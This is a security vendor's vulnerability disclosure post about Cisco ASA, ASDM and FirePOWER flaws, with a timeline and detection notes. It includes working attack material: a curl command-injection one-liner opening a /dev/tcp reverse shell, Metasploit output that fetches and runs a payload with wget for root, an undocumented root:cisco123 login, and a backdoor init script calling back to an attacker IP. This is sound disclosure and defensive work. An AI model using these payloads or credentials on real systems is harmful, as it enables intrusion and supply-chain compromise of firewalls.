Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

Last updated at Fri, 19 Aug 2022 15:36:07 GMT

Rapid7 discovered vulnerabilities and “non-security” issues affecting Cisco Adaptive Security Software (ASA), Adaptive Security Device Manager (ASDM), and FirePOWER Services Software for ASA. Rapid7 initially reported the issues to Cisco in separate disclosures in February and March 2022. Rapid7 and Cisco continued discussing impact and resolution of the issues through August 2022. The following table lists the vulnerabilities and the last current status that we were able to verify ourselves.

For information on vulnerability checks in InsightVM and Nexpose, please see the Rapid7 customers section at the end of this blog.

Rapid7 presented the vulnerabilities, exploits, and tools at Black Hat USA and DEF CON on August 11 and August 13, respectively.

Product description

Cisco ASA Software is a “core operating system for the Cisco ASA Family.” Cisco ASA are widely deployed enterprise-class firewalls that also support VPN, IPS, and many other features.

Cisco ASDM is a graphical user interface for remote administration of appliances using Cisco ASA Software.

FirePOWER Services Software is a suite of software that supports the installation of the FirePOWER module on Cisco ASA 5500-X with FirePOWER Services.

Credit

This issue was discovered by Jake Baines of Rapid7, and it is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Analysis

Of all the reported issues, Rapid7 believes the following to be the most critical.

CVE-2022-20829: ASDM binary package is not signed

The Cisco ASDM binary package is installed on the Cisco ASA. Administrators that use ASDM to manage their ASA download and install the Cisco ASDM Launcher on their Windows or macOS system. When the ASDM launcher connects to the ASA, it will download a large number of Java files from the ASA, load them into memory, and then pass execution to the downloaded Java.

The ASDM launcher installer, the Java class files, the ASDM web portal, and other files are all contained within the ASDM binary package distributed by Cisco. Rapid7 analyzed the format of the binary package and determined that it lacked any type of cryptographic signature to verify the package’s authenticity (see CWE-347). We discovered that we could modify the contents of an ASDM package, update a hash in the package’s header, and successfully install the package on a Cisco ASA.

The result is that an attacker can craft an ASDM package that contains malicious installers, malicious web pages, and/or malicious Java. An example of exploitation using a malicious ASDM package goes like this: An administrator using the ASDM client connects to the ASA and downloads/executes attacker-provided Java. The attacker then has access to the administrator’s system (e.g. the attacker can send themselves a reverse shell). A similar attack was executed by Slingshot APT against Mikrotik routers and the administrative tool Winbox.

The value of this vulnerability is high because the ASDM package is a distributable package. A malicious ASDM package might be installed on an ASA in a supply chain attack, installed by an insider, installed by a third-party vendor/administrator, or simply made available “for free” on the internet for administrators to discover themselves (downloading ASDM from Cisco requires a valid contract).

Rapid7 has published a tool, the way, that demonstrates extracting and rebuilding “valid” ASDM packages. The way can also generate ASDM packages with an embedded reverse shell. The following video demonstrates an administrative user triggering the reverse shell simply by connecting to the ASA.

Note: Cisco communicated on August 11, 2022 that they had released new software images that resolve CVE-2022-20829. We have not yet verified this information.

CVE-2021-1585: Failed patch

Rapid7 vulnerability research previously described exploitation of CVE-2021-1585 on AttackerKB. The vulnerability allows a man-in-the-middle or evil endpoint to execute arbitrary Java code on an ASDM administrator’s system via the ASDM launcher (similar to CVE-2022-20829). Cisco publicly disclosed this vulnerability without a patch in July 2021. However, at the time of writing, Cisco’s customer-only disclosure page for CVE-2021-1585 indicates that the vulnerability was fixed with the release of ASDM 7.18.1.150 in June 2022.

Rapid7 quickly demonstrated to Cisco that this is incorrect. Using our public exploit for CVE-2021-1585, staystaystay, Rapid7 was able to demonstrate the exploit works against ASDM 7.18.1.150 without any code changes.

The following video demonstrates downloading and installing 7.18.1.150 from an ASA and then using staystaystay to exploit the new ASDM launcher. staystaystay only received two modifications:

• The version.prop file on the web server was updated to indicate the ASDM version is 8.14(1) to trigger the new loading behavior.
• The file /public/jploader.jar was downloaded from the ASA and added to the staystaystay web server.

Additionally, ASDM 7.18.1.150 is still exploitable when it encounters older versions of ASDM on the ASA. The following shows that Cisco added a pop-up to the ASDM client indicating connecting to the remote ASA may be dangerous, but allows the exploitation to continue if the user clicks “Yes”:

CVE-2021-1585 is a serious vulnerability. Man-in-the-middle attacks are trivial for well-funded APT. Often they have the network position and the motive. It also does not help that ASDM does not validate the remote server’s SSL certificate and uses HTTP Basic Authentication by default (leading to password disclosure to active MITM). The fact that this vulnerability has been public and unpatched for over a year should be a concern to anyone who administers Cisco ASA using ASDM.

If Cisco did release a patch in a timely manner, it’s unclear how widely the patch would be adopted. Rapid7 scanned the internet for ASDM web portals on June 15, 2022, and examined the versions of ASDM being used in the wild. ASDM 7.18.1 had been released a week prior and less than 0.5% of internet-facing ASDM had adopted 7.18.1. Rapid7 found the most popular version of ASDM to be 7.8.2, a version that had been released in 2017.

Note: Cisco communicated on August 11, 2022 that they had released new software images that resolve CVE-2021-1585. We have not yet verified this information.

CVE-2022-20828: Remote and authenticated command injection

CVE-2022-20828 is a remote and authenticated vulnerability that allows an attacker to achieve root access on ASA-X with FirePOWER Services when the FirePOWER module is installed. To better understand what the FirePOWER module is, we reference an image from Cisco’s Cisco ASA FirePOWER Module Quick Start Guide.

The FirePOWER module is the white oval labeled “ASA FirePOWER Module Deep Packet Inspection.” The module is a Linux-based virtual machine (VM) hosted on the ASA. The VM runs Snort to classify traffic passing through the ASA. The FirePOWER module is fully networked and can access both outside and inside of the ASA, making it a fairly ideal location for an attacker to hide in or stage attacks from.

The command injection vulnerability is linked to the Cisco command line interface (CLI) session do command. In the example that follows, command session do \id`is being executed on the Cisco ASA CLI via ASDM (HTTP), and the Linux commandid` is executed within the FirePOWER module.

A reverse shell exploit for this vulnerability is small enough to be tweetable (our favorite kind of exploit). The following curl command can fit in a tweet and will generate a bash reverse shell from the FirePOWER module to 10.12.70.252:1270:

curl -k -u albinolobster:labpass1 -H "User-Agent: ASDM/ Java/1.8" "https://10.12.70.253/admin/exec/session+sfr+do+\`bash%20-i%20>&%20%2fdev%2ftcp%2f10.12.70.252%2f1270%200>&1\`"

A Metasploit module has been developed to exploit this issue as well.

The final takeaway for this issue should be that exposing ASDM to the internet could be very dangerous for ASA that use the FirePOWER module. While this might be a credentialed attack, as noted previously, ASDM’s default authentication scheme discloses username and passwords to active MITM attackers. ASDM client has also recently logged credentials to file (CVE-2022-20651), is documented to support the credentials <blank>:<blank> by default (See “Start ASDM”, Step 2), and, by default, doesn’t have brute-force protections enabled. All of that makes the following a very real possibility.

To further demonstrate ASDM password weaknesses, we’ve published Metasploit modules for brute-forcing credentials on the ASDM interface and searching through ASDM log files for valid credentials.

CSCvu90861: FirePOWER boot image root shell

In the previous section, we learned about the Cisco FirePOWER module. In this section, it’s important to know how the FirePOWER module is installed. Installation is a three-step process:

• Upload and start the FirePOWER boot image.
• From the boot image, download and install the FirePOWER installation package.
• From the FirePOWER module VM, install the latest updates.

CSCvu90861 concerns itself with a couple of issues associated with the boot image found in step 1. The boot image, once installed and running, can be entered using the Cisco ASA command session sfr console:

As you can see, the user is presented with a very limited CLI that largely only facilitates network troubleshooting and installing the FirePOWER installation package. Credentials are required to access this CLI. These credentials are well-documented across the various versions of the FirePOWER boot image (see “Set Up the ASA SFR Boot Image, Step 1”). However, what isn’t documented is that the credentials root:cisco123 will drop you down into a root bash shell.

The FirePOWER boot image, similar to the normal FirePOWER module, is networked. It can be configured to use DHCP or a static address, but either way, it has access to inside and outside of the ASA (assuming typical wiring). Again, a perfect staging area for an attacker and a pretty good place to hide.

We also discovered a command injection vulnerability associated with the system install command that yields the same result (root access on the boot image).

We wrote two SSH-based exploits that demonstrate exploitation of the boot image. The first is a stand-alone Python script, and the second is a Metasploit module. Exploitation takes about five minutes, so Metasploit output will have to suffice on this one:

albinolobster@ubuntu:~/metasploit-framework$ ./msfconsole 
                                                  
 ______________________________________
/ it looks like you're trying to run a \
\ module                               /
 --------------------------------------
 \
  \
     __
    /  \
    |  |
    @  @
    |  |
    || |/
    || ||
    |\_/|
    \___/


       =[ metasploit v6.2.5-dev-ed2c64bffd                ]
+ -- --=[ 2228 exploits - 1172 auxiliary - 398 post       ]
+ -- --=[ 863 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: You can pivot connections over sessions 
started with the ssh_login modules

[*] Starting persistent handler(s)...
msf6 > use exploit/linux/ssh/cisco_asax_firepower_boot_root
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > show options

Module options (exploit/linux/ssh/cisco_asax_firepower_boot_root):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   ENABLE_PASSWORD                   yes       The enable password
   IMAGE_PATH                        yes       The path to the image on the ASA (e.g. disk0:/asasfr-5500x-boot-6.2.3-4.img
   PASSWORD         cisco123         yes       The password for authentication
   RHOSTS                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT            22               yes       The target port (TCP)
   SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT          8080             yes       The local port to listen on.
   SSL              false            no        Negotiate SSL for incoming connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                           no        The URI to use for this exploit (default is random)
   USERNAME         cisco            yes       The username for authentication


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper


msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set IMAGE_PATH disk0:/asasfr-5500x-boot-6.2.3-4.img
IMAGE_PATH => disk0:/asasfr-5500x-boot-6.2.3-4.img
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set USERNAME albinolobster
USERNAME => albinolobster
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set LHOST 10.12.70.252
LHOST => 10.12.70.252
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > set RHOST 10.12.70.253
RHOST => 10.12.70.253
msf6 exploit(linux/ssh/cisco_asax_firepower_boot_root) > run

[*] Started reverse TCP handler on 10.12.70.252:4444 
[*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
[*] Using URL: http://10.12.70.252:8080/ieXiNV
[*] 10.12.70.253:22 - Attempting to login...
[+] Authenticated with the remote server
[*] Resetting SFR. Sleep for 120 seconds
[*] Booting the image... this will take a few minutes
[*] Configuring DHCP for the image
[*] Dropping to the root shell
[*] wget -qO /tmp/scOKRuCR http://10.12.70.252:8080/ieXiNV;chmod +x /tmp/scOKRuCR;/tmp/scOKRuCR;rm -f /tmp/scOKRuCR
[*] Client 10.12.70.253 (Wget) requested /ieXiNV
[*] Sending payload to 10.12.70.253 (Wget)
[*] Sending stage (989032 bytes) to 10.12.70.253
[*] Meterpreter session 1 opened (10.12.70.252:4444 -> 10.12.70.253:53445) at 2022-07-05 07:37:22 -0700
[+] Done!
[*] Command Stager progress - 100.00% done (111/111 bytes)
[*] Server stopped.

meterpreter > shell
Process 2160 created.
Channel 1 created.
uname -a
Linux asasfr 3.10.107sf.cisco-1 #1 SMP PREEMPT Fri Nov 10 17:06:45 UTC 2017 x86_64 GNU/Linux
id
uid=0(root) gid=0(root)

This attack can be executed even if the FirePOWER module is installed. The attacker can simply uninstall the FirePOWER module and start the FirePOWER boot image (although that is potentially quite obvious depending on FirePOWER usage). However, this attack seems more viable as ASA-X ages and Cisco stops releasing new rules/updates for the FirePOWER module. Organizations will likely continue using ASA-X with FirePOWER Services without FirePOWER enabled/installed simply because they are “good” Cisco routers.

Malicious FirePOWER boot image

The interesting thing about vulnerabilities (or non-security issues depending on who you are talking to) affecting the FirePOWER boot image is that the Cisco ASA has no mechanism that prevents users from loading and executing arbitrary images. Cisco removed the hard-coded credentials and command injection in FirePOWER boot images >= 7.0.0, but an attacker can still load and execute an old FirePOWER boot image that still has the vulnerabilities.

In fact, there is nothing preventing a user from booting an image of their own creation. FirePOWER boot images are just bootable Linux ISO. We wrote a tool that will generate a bootable TinyCore ISO that can be executed on the ASA. The ISO, when booted, will spawn a reverse shell out to the attacker and start an SSH server, and it comes with DOOM-ASCII installed (in case you want to play DOOM on an ASA). The generated ISO is installed on the ASA just as any FirePOWER boot image would be:

albinolobster@ubuntu:~/pinchme$ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 albinolobster@10.0.0.21
albinolobster@10.0.0.21's password: 
User albinolobster logged in to ciscoasa
Logins over the last 5 days: 42.  Last login: 23:41:56 UTC Jun 10 2022 from 10.0.0.28
Failed logins since the last login: 0.  Last failed login: 23:41:54 UTC Jun 10 2022 from 10.0.0.28
Type help or '?' for a list of available commands.
ciscoasa> en
Password: 
ciscoasa# copy http://10.0.0.28/tinycore-custom.iso disk0:/tinycore-custom.iso

Address or name of remote host [10.0.0.28]? 

Source filename [tinycore-custom.iso]? 

Destination filename [tinycore-custom.iso]? 

Accessing http://10.0.0.28/tinycore-custom.iso...!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Writing file disk0:/tinycore-custom.iso...
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
INFO: No digital signature found
76193792 bytes copied in 18.440 secs (4232988 bytes/sec)

ciscoasa# sw-module module sfr recover configure image disk0:/tinycore-custom.iso
ciscoasa# debug module-boot
debug module-boot  enabled at level 1
ciscoasa# sw-module module sfr recover boot

Module sfr will be recovered. This may erase all configuration and all data
on that device and attempt to download/install a new image for it. This may take
several minutes.

Recover module sfr? [confirm]
Recover issued for module sfr.
ciscoasa# Mod-sfr 177> ***
Mod-sfr 178> *** EVENT: Creating the Disk Image...
Mod-sfr 179> *** TIME: 15:12:04 UTC Jun 13 2022
Mod-sfr 180> ***
Mod-sfr 181> ***
Mod-sfr 182> *** EVENT: The module is being recovered.
Mod-sfr 183> *** TIME: 15:12:04 UTC Jun 13 2022
Mod-sfr 184> ***
Mod-sfr 185> ***
Mod-sfr 186> *** EVENT: Disk Image created successfully.
Mod-sfr 187> *** TIME: 15:13:42 UTC Jun 13 2022
Mod-sfr 188> ***
Mod-sfr 189> ***
Mod-sfr 190> *** EVENT: Start Parameters: Image: /mnt/disk0/vm/vm_1.img, ISO: -cdrom /mnt/disk0
Mod-sfr 191> /tinycore-custom.iso, Num CPUs: 3, RAM: 2249MB, Mgmt MAC: 00:FC:BA:44:54:31, CP MA
Mod-sfr 192> C: 00:00:00:02:00:01, HDD: -drive file=/dev/sda,cache=none,if=virtio, Dev Driver: 
Mod-sfr 193> vir
Mod-sfr 194> ***
Mod-sfr 195> *** EVENT: Start Parameters Continued: RegEx Shared Mem: 0MB, Cmd Op: r, Shared Me
Mod-sfr 196> m Key: 8061, Shared Mem Size: 16, Log Pipe: /dev/ttyS0_vm1, Sock: /dev/ttyS1_vm1, 
Mod-sfr 197> Mem-Path: -mem-path /hugepages
Mod-sfr 198> *** TIME: 15:13:42 UTC Jun 13 2022
Mod-sfr 199> ***
Mod-sfr 200> Status: Mapping host 0x2aab37e00000 to VM with size 16777216
Mod-sfr 201> Warning: vlan 0 is not connected to host network

Once the ISO is booted, a reverse shell is sent back to the attacker.

albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.21 60579
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux box 3.16.6-tinycore #777 SMP Thu Oct 16 09:42:42 UTC 2014 i686 GNU/Linux
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:00:00:02:00:01  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:173 errors:0 dropped:164 overruns:0 frame:0
          TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9378 (9.1 KiB)  TX bytes:4788 (4.6 KiB)

eth1      Link encap:Ethernet  HWaddr 00:FC:BA:44:54:31  
          inet addr:192.168.1.17  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:14 errors:0 dropped:0 overruns:0 frame:0
          TX packets:11 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:1482 (1.4 KiB)  TX bytes:1269 (1.2 KiB)

eth2      Link encap:Ethernet  HWaddr 52:54:00:12:34:56  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:0 (0.0 B)  TX bytes:4788 (4.6 KiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

Once again, this presents a potential social engineering issue. An attacker that is able to craft their own malicious boot image needs only to convince an administrator to install it. However, an attacker cannot pre-install the image and provide the ASA to a victim because boot images are removed every time the ASA is rebooted.

Malicious FirePOWER installation package

As mentioned previously, step two of the FirePOWER installation process is to install the FirePOWER installation package. Some FirePOWER modules support two versions of the FirePOWER installation package:

The above code is taken from the FirePOWER boot image 6.2.3. We can see it supports two formats:

EncryptedContentSignedChksumPkgWrapper
ChecksumPkgWrapper

Without getting into the weeds on the details, EncryptedContentSignedChksumPkgWrapper is an overly secure format, and Cisco only appears to publish FirePOWER installation packages in that format. However, the boot images also support the insecure ChcksumPkgWrapper format. So, we wrote a tool that takes in a secure FirePOWER installation package, unpackages it, inserts a backdoor, and then repackages into the insecure package format.

albinolobster@ubuntu:~/whatsup/build$ ./whatsup -i ~/Desktop/asasfr-sys-5.4.1-211.pkg --lhost 10.0.0.28 --lport 1270
   __      __  __               __    __
  /\ \  __/\ \/\ \             /\ \__/\ \
  \ \ \/\ \ \ \ \ \___      __ \ \ ,_\ \/ ____
   \ \ \ \ \ \ \ \  _ `\  /'__`\\ \ \/\/ /',__\
    \ \ \_/ \_\ \ \ \ \ \/\ \L\.\\ \ \_ /\__, `\
     \ `\___x___/\ \_\ \_\ \__/.\_\ \__\\/\____/
      '\/__//__/  \/_/\/_/\/__/\/_/\/__/ \/___/
   __  __
  /\ \/\ \
  \ \ \ \ \  _____            jbaines-r7
   \ \ \ \ \/\ '__`\              🦞
    \ \ \_\ \ \ \L\ \      "What's going on?"
     \ \_____\ \ ,__/
      \/_____/\ \ \/
               \ \_\
                \/_/

[+] User provided package: /home/albinolobster/Desktop/asasfr-sys-5.4.1-211.pkg
[+] Copying the provided file to ./tmp
[+] Extracting decryption materials
[+] Attempting to decrypt the package... this might take 10ish minutes (and a lot of memory, sorry!)
[+] Successful decryption! Cleaning up extra files
[+] Unpacking...
... snip lots of annoying output ...
[+] Generating the data archive
[+] Creating new.pkg...
[+] Writing file and section headers
[+] Appending the compressed archive
[+] Appending the checksum section
[+] Completed new.pkg

The newly generated FirePOWER installation package can then be installed on the ASA as it normally would. And because it contains all the official installation package content, it will appear to be a normal installation to the user. However, this installation will include the following obviously malicious init script, which will try to connect back to an attacker IP every five minutes.

#!/bin/sh

source /etc/rc.d/init.d/functions
PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/sf/bin:/sbin:/usr/sbin"

xploit_start() {
  (while true; do sleep 300; /bin/bash -i >& /dev/tcp/10.0.0.28/1270 0>&1; done)&
}

case "\$1" in
'start')
  xploit_start
  ;;
*)
  echo "usage $0 start|stop|restart"
esac

This malicious FirePOWER installation package is distributable via social engineering, and it can be used in supply chain attacks. The contents of the installation package survive reboots and upgrades. An attacker need only pre-install the FirePOWER module with a malicious version before providing it to the victim.

Mitigation and detection

Organizations that use Cisco ASA are urged to isolate administrative access as much as possible. That is not limited to simply, “Remove ASDM from the internet.” We’ve demonstrated a few ways malicious packages could reasonably end up on an ASA and none of those mechanisms have been patched. Isolating administrative access from potentially untrustworthy users is important.

Rapid7 has written some YARA rules to help detect exploitation or malicious packages:

• Detect unsigned FirePOWER installation packages
• Detect unknown ASDM packages
• Parse ASDM log files for exploitation indicator
• Parse ASDM log files for users/passwords

Timeline

• February 24, 2022 - Initial disclosure of ASDM packaging issues.
• February 24, 2022 - Cisco opens a case (PSIRT-0917052332) and assigns CSCwb05264 and CSCwb05291 for ASDM issues.
• February 29, 2022 - Cisco informs Rapid7 they have reached out to engineering. Raises concerns regarding 60-day timeline.
• March 15, 2022 - Cisco reports they are actively working on the issue.
• March 22, 2022 - Initial disclosure of ASA-X with FirePOWER Services issues and ASDM logging issue.
• March 23, 2022 - Cisco acknowledges ASA-X issues and assigns PSIRT-0926201709.
• March 25, 2022 - Cisco discusses their views on severity scoring and proposes disclosure dates for ASDM issues.
• March 29, 2022 - Rapid7 offers extension on disclosure for both PSIRT issues.
• April 7, 2022 - Rapid7 asks for an update.
• April 7, 20222 - ASA-X issues moved to Cisco PSIRT member handling ASDM issues.
• April 8, 2022 - Cisco indicates Spring4Shell is causing delays.
• April 13, 2022 - Rapid7 asks for an update.
• April 14, 2022 - Cisco indicates ASA-X issues are as designed. ASDM logging issue is a duplicate. Cisco agrees to new disclosure dates, clarification on six-month timelines, Vegas talks work to push things along!
• April 14, 2022 - Rapid7 inquires if Cisco is talking about the same ASA-X model.
• April 20, 2022 - Rapid7 proposes a June 20, 2022 disclosure. Again asks for clarification on the ASA-X model.
• April 22, 2022 - Cisco reiterates ASA-X issues are not vulnerabilities.
• April 22, 2022 - Rapid7 attempts to clarify that the ASA-X issues are vulnerabilities.
• April 26, 2022 - Cisco plans partial disclosure of ASDM issues around June 20.
• May 06, 2022 - Cisco reiterates no timeline for ASA checking ASDM signature. Cisco again reiterates ASA-X issues are not vulnerabilities.
• May 06, 2022 - Rapid7 pushes back again on the ASA-X issues.
• May 10, 2022 - Rapid7 asks for clarification on what is being fixed/disclosed on June 20.
• May 11, 2022 - Rapid7 asks for clarity on ASA-X timeline and what is currently being considered a vulnerability.
• May 18, 2022 - Cisco clarifies what is getting fixed for issues, what will receive CVEs, what is a "hardening effort."
• May 18, 2022 - Rapid7 requests CVEs, asks about patch vs disclosure release date discrepancy. Rapid7 again reiterates ASA-X findings are vulnerabilities.
• May 20, 2022 - Cisco indicates CVEs will be provided soon, indicates Cisco will now publish fixes and advisories on June 21. Cisco reiterates they do not consider boot image issues vulnerabilities. Cisco asks who to credit.
• May 25, 2022 - Rapid7 indicates credit to Jake Baines.
• May 25, 2022 - CVE-2022-20828 and CVE-2022-20829 assigned, Cisco says their disclosure date is now June 22.
• May 26, 2022 - Rapid7 agrees to June 22 Cisco disclosure, requests if there is a disclosure date for ASA side of ASDM signature fixes.
• May 31, 2022 - Cisco indicates ASA side of fixes likely coming August 11.
• June 09, 2022 - Rapid7 questions the usefulness of boot image hardening. Observes the ASA has no mechanism to prevent literally any bootable ISO from booting (let alone old Cisco-provided ones).
• June 09, 2022 - Cisco confirms boot images are not phased out and does not consider that to be a security issue.
• June 09, 2022 - Rapid7 reiterates that the ASA will boot any bootable image and that attackers could distribute malicious boot images / packages and the ASA has no mechanism to prevent that.
• June 13, 2022 - Rapid7 finally examines Cisco's assertions regarding the ASDM log password leak being a duplicate and finds it to be incorrect.
• June 15, 2022 - Cisco confirms the password leak in 7.17(1) as originally reported.
• June 22, 2022 - Cisco confirms password leak fix will be published in upcoming release.
• June 23, 2022 - Cisco publishes advisories and bugs.
• June 23, 2022 - Rapid7 asks if CVE-2021-1585 was fixed.
• June 23, 2022 - Cisco says it was.
• June 23, 2022 - Rapid7 says it wasn't. Asks Cisco if we should open a new PSIRT ticket.
• June 23, 2022 - Cisco indicates current PSIRT thread is fine.
• June 23, 2022 - Rapid7 provides details and video.
• June 23, 2022 - Cisco acknowledges.
• July 05, 2022 - Rapid7 asks for an update on CVE-2021-1585 patch bypass.
• July 25, 2022 - Cisco provides Rapid7 with test versions of ASDM.
• July 26, 2022 - Rapid7 downloads the test version of ASDM.
• August 1, 2022 - Rapid7 lets Cisco know that team time constraints may prevent us from completing testing.
• August 1, 2022 - Cisco acknowledges.
• August 10, 2022 - Rapid7 updates Cisco on publication timing and reconfirms inability to complete testing of new build.
• August 11, 2022 - Cisco communicates to Rapid7 that they have released new Software images for ASA (9.18.2, 9.17.1.13, 9.16.3.19) and ASDM (7.18.1.152) and updated the advisories for CVE-2022-20829 and CVE-2021-1585 to note that the vulnerabilities have been resolved.
• August 11, 2022 - Rapid7 acknowledges, notifies Cisco that we are unable to verify the latest round of fixes before materials go to press.
• August 11, 2022 - This document is published.
• August 11, 2022 - Rapid7 presents materials at Black Hat USA.
• August 13, 2022 - Rapid7 presents materials at DEF CON.

Rapid7 customers

Authenticated checks were made available to InsightVM and Nexpose customers for the following CVEs in July 2022 based on Cisco's security advisories:

• CVE-2022-20829
• CVE-2022-20828
• CVE-2022-20651
• CVE-2021-1585

Please note: Shortly before this blog's publication, Cisco released new ASA and ASDM builds and updated their advisories to indicate that remediating CVE-2021-1585 and CVE-2022-20829 requires these newer versions. As of the August 12 content release, we have updated our vulnerability checks to reflect that these newer versions contain what Cisco has communicated to be the proper fixes.